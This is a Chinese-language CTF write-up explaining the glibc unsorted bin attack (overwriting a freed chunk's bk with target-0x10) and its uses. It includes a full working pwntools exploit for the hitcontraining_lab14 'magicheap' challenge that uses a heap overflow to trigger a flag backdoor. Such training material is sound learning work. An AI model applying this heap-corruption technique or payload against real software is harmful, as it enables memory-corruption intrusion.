简单说明

基本来源
当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

利用方法:
改unsorted bin 的bk为target-0x10

实现效果:
将target改为一个很大的数值

利用场景:
修改循环的次数来使得程序可以执行多次循环。
修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin。
改_IO_list_all来伪造_IO_FILE进行攻击。

hitcontraining_lab14

题目的edit功能可以改size,实现一个强力的堆溢出,同时题目存在后门,只要改一个bss段的变量大于即可cat flag
思路很简单,堆溢出打掉unsorted bin的bk,连libc都不用泄漏
exp:

from pwn import *

p = process('./magicheap')

def add(size,content):
    p.sendlineafter('Your choice :','1')
    p.sendlineafter('Size of Heap :',str(size))
    p.sendafter('Content of heap:',content)

def edit(index,size,content):
    p.sendlineafter('Your choice :','2')
    p.sendlineafter('Index :',str(index))
    p.sendlineafter('Size of Heap :',str(size))
    p.sendafter('Content of heap :',content)

def delete(index):
    p.sendlineafter('Your choice :','3')
    p.sendlineafter('Index :',str(index))


add(0x10,'aaaa')
add(0x90,'aaaa')
add(0x10,'protect')
context.log_level = 'debug'
target = 0x6020C0
delete(1)
payload = p64(0) * 3 + p64(0xa1) + p64(0) + p64(target-0x10)
edit(0,0x40,payload)
add(0x90,'a')
p.recv()
p.send('4869')

p.interactive()